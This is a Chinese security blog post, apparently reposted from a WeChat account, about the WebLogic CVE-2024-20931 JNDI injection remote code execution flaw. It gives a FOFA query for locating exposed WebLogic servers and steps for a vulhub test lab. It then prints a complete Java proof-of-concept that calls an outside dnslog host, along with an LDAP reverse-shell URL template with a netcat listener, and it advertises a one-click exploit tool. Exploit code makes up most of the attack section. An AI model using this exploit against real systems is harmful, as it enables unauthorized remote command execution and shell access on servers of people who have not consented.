请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习交流使用,如若非法他用,与平台和本文作者无关,需自行负责!
00
漏洞概述
Weblogic T3IIOP协议的远程命令执行漏洞CVE-2024-20931,原理上属于CVE-2023-21839补丁的绕过,在java.naming.provider.url为空的情况下,指定AQjmsInitialContextFactory进行初始化时通过JNDI去获取远程的DataSource,成功达成一种二次JNDI注入。
01
空间搜索语法
fofa
app="WebLogic-Server" && title="Error 404--Not Found"
02
利用过程
测试环境直接使用vulhub的CVE-2023-21839
cd vulhub-master/weblogic/CVE-2023-21839
docker-compose -f docker-compose.yml up -d #启动环境
环境启动后,进入容器获取验证时使用的wlfullclient.jar依赖
1、docker exec -it 容器ID bash
2、find / -name wljarbuilder.jar #找到wljarbuilder.jar的存储路径,wljarbuilder.jar用于生成wlfullclient。jar
3、java -jar wljarbuilder.jar #生成wljarbuilder.jar
4、拷贝容器中生成好的wlfullclient.jar至主机。
docker cp 容器ID:/u01/oracle/wlserver/server/lib/wlfullclient.jar /home/kali/Desktop/
在IDEA中引入wlfullclient.jar依赖,修改如下位置,使用dns协议进行命令验证。
env2.put("datasource", "dns://lll.kdkhjwuudyd.ngx0w0.dnslog.cn/");
或修改dns为ldap协议反弹shell
ldap://IP:1389/Basic/Command/Base64/[base64encode]
设置ldap监听
nc监听
poc
package com.weblogictest;
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2024_209321 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.199.128:7001/";
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
env2.put("datasource", "dns://lll.kdkhjwuudyd.ngx0w0.dnslog.cn/");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "dns://s12.u515dz.dnslog.cn";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("glassy", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("glassy");
} catch (Exception e) {
}
}
}
03
小工具
获取小工具关注本公众号后发送:
20240324
可以使用如下工具一键利用,用法 java -jar CVE_2024_20931.jar -h
✓
关注我们
原文始发于微信公众号(天澜实验室):Weblogic CVE-2024-20931 JNDI注入RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论